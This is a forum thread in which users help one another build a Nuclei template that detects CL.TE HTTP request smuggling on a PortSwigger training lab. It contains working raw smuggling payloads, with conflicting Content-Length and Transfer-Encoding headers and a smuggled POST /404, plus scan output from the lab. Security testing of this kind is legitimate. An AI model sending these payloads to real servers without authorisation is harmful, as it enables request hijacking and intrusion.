Find 2 words in 2 request

[rawezh80]

I want to create a 'nuclei template' to find words but I have problem with it
I want to create a 'template in nuclei' to send two requests to the same path and if I get two different response with 'RAW HTTP requests', it will show me in the output
for example first response status code is 302
and second status code 200
I want this in out put
matchers:
- type: word
part: header
words:
- "{{Request 1.Response.Status_code}}"
- "{{Request 2.Response.Status_code}}"
condition: and
I try something like that but not succeed

[ehsandeep]

@Rawezho1o you can do it using dsl matcher:

    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 200
          - status_code_2 == 404
        condition: and

See the docs - https://nuclei.projectdiscovery.io/templating-guide/protocols/http/#request-condition

[rawezh80]

@ehsandeep thank you so match I got it

[rawezh80]

hi @ehsandeep ok but I want the responses to be different. I don't care how much the response is. For example, 302, 200 or 400, 301 or 404, 200. In your code, the first response is 200 and the second response is

[rawezh80]

Hello, @ehsandeep I have been waiting for an answer for a long time but my question has not been answered yet. Please can you answer

[ehsandeep]

@Rawezho1o see example https://templates.nuclei.sh/@sandeep/aKqFAcCMsHoA9zYb7qEip7

[rawezh80]

hi @ehsandeep in is not working I tested in portswigger lab

You can see my template here:

id: CL-TE-http-smuggling

info:
  name: HTTP request smuggling, basic CL.TE vulnerability
  author: pdteam
  severity: high
  reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

http:
  - raw:
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked

      5e
      POST /404 HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 15

      x=1
      0
  - raw:
    - |+
      GET / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked

      5e
      POST /404 HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 15

      x=1
      0


    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - status_code_1 != status_code_2

[ehsandeep]

To compare two or multiple request, all request has to be in same request block, i.e under same - raw: block, in above template you created two separate request block which can be used together to compare, try with below template and it should work.

id: CL-TE-http-smuggling

info:
  name: HTTP request smuggling, basic CL.TE vulnerability
  author: pdteam
  severity: high
  reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

http:
  - raw:
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked

      5e
      POST /404 HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 15

      x=1
      0
    - |+
      GET / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked

      5e
      POST /404 HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 15

      x=1
      0


    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - status_code_1 != status_code_2

[rawezh80]

Hi @ehsandeep thanks for answer but it is now work I test it on interminal and https://templates.nuclei.sh but not work

[rawezh80]

and I got this error:
[WRN] [CL-TE-http-smuggling] Could not execute request for https://0a4c004403ec84458390d7cd00730051.web-security-academy.net/: ReadStatusLine: read tcp 172.29.181.195:53130->79.125.84.16:443: i/o timeout
[INF] No results found. Better luck next time!

[MetzinAround]

It might have to do with the target you're scanning. I can't connect to that target at all. Try a different target, I think.

You could also try and increase the -timeout flag to avoid this, since it's timing out.

[MetzinAround]

Also, make sure you have permission to scan the websites you're scanning. https://hackerone.com/portswigger?type=team looks like the web security academy is out of scope for the portswigger bug bounty program.

[rawezh80]

hello @MetzinAround I test it in there because I can get 2 different in 2 request anyway all lab on portswigger work for only few minutes if you want to access that lab go to https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses and click "access the lab" button

[rawezh80]

Hello, @ehsandeep @MetzinAround I have been waiting for an answer for a long time but my question has not been answered yet. Please can you answer

[tarunKoyalwar]

@Rawezho1o , i tried the template on burpsuite lab you shared and it returned me

[DBG] [CL-TE-http-smuggling] Dumped HTTP response https://0ac300b2039ada798213420300320068.web-security-academy.net/

HTTP/1.1 403 Forbidden
Content-Length: 36
Connection: close
Content-Type: application/json; charset=utf-8

"GET requests cannot contain a body"
[WRN] [CL-TE-http-smuggling] Could not execute request for https://0ac300b2039ada798213420300320068.web-security-academy.net: ReadStatusLine: read tcp 192.168.1.4:60038->79.125.84.16:443: i/o timeout

and lab goal is to get a 404 response on next subsequent request to POST not GET, in your template you are sending GET request template

Corrected template

id: CL-TE-http-smuggling

info:
  name: HTTP request smuggling, basic CL.TE vulnerability
  author: pdteam
  severity: high
  reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

http:
  - raw:
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked

      5e
      POST /404 HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 15

      x=1
      0
    
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked

      5e
      POST /404 HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 15

      x=1
      0

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - status_code_1 != status_code_2
          - status_code_2 == 404
        condition: and

 nuclei -u https://0ac300b2039ada798213420300320068.web-security-academy.net -t example.yaml

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.0.0-dev

		projectdiscovery.io

[INF] Current nuclei version: v3.0.0-dev (development)
[INF] Current nuclei-templates version: v9.6.4 (latest)
[INF] New templates added in latest release: 121
[INF] Templates loaded for current scan: 1
[INF] Targets loaded for current scan: 1
[CL-TE-http-smuggling] [http] [high] https://0ac300b2039ada798213420300320068.web-security-academy.net/

P.S: i have also added extra condition to make sure next request is 404 as per lab's requirement

[rawezh80]

@tarunKoyalwar thank you so match it work now
my probleam was fixed